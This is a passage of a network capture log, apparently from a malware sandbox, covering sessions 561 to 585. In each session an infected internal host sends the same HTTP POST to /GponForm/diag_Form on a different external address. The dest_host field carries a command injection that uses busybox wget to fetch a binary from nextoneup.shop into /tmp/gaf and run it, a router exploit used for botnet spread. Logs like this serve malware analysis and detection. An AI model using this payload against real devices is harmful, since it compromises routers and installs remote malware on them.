Apr 14, 2024 03:59:51.770931005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	33984	42.193.170.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770960093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	59122	148.117.120.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.770991087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	33482	118.113.127.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771008968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	51700	2.173.3.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771034002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	50628	94.85.10.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771058083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	55138	148.77.156.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771099091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	41292	37.26.8.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771107912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	53242	210.90.217.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771138906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	60204	117.186.216.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771166086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	33308	37.63.159.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771203041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	34916	210.99.74.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771231890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	56426	123.255.67.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771255970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	42954	118.99.45.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771296978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	44128	109.152.113.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771331072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	34524	79.8.121.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771342993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	56200	148.226.117.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771358967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	42390	210.249.231.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771409988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	35312	109.88.48.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771423101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	33912	2.117.179.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771442890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	44992	5.229.112.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771475077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	58402	210.233.97.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771497965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	47736	37.119.33.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771518946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	57422	212.174.129.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771565914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	36498	42.63.67.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771600962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	55064	178.169.171.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771631002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
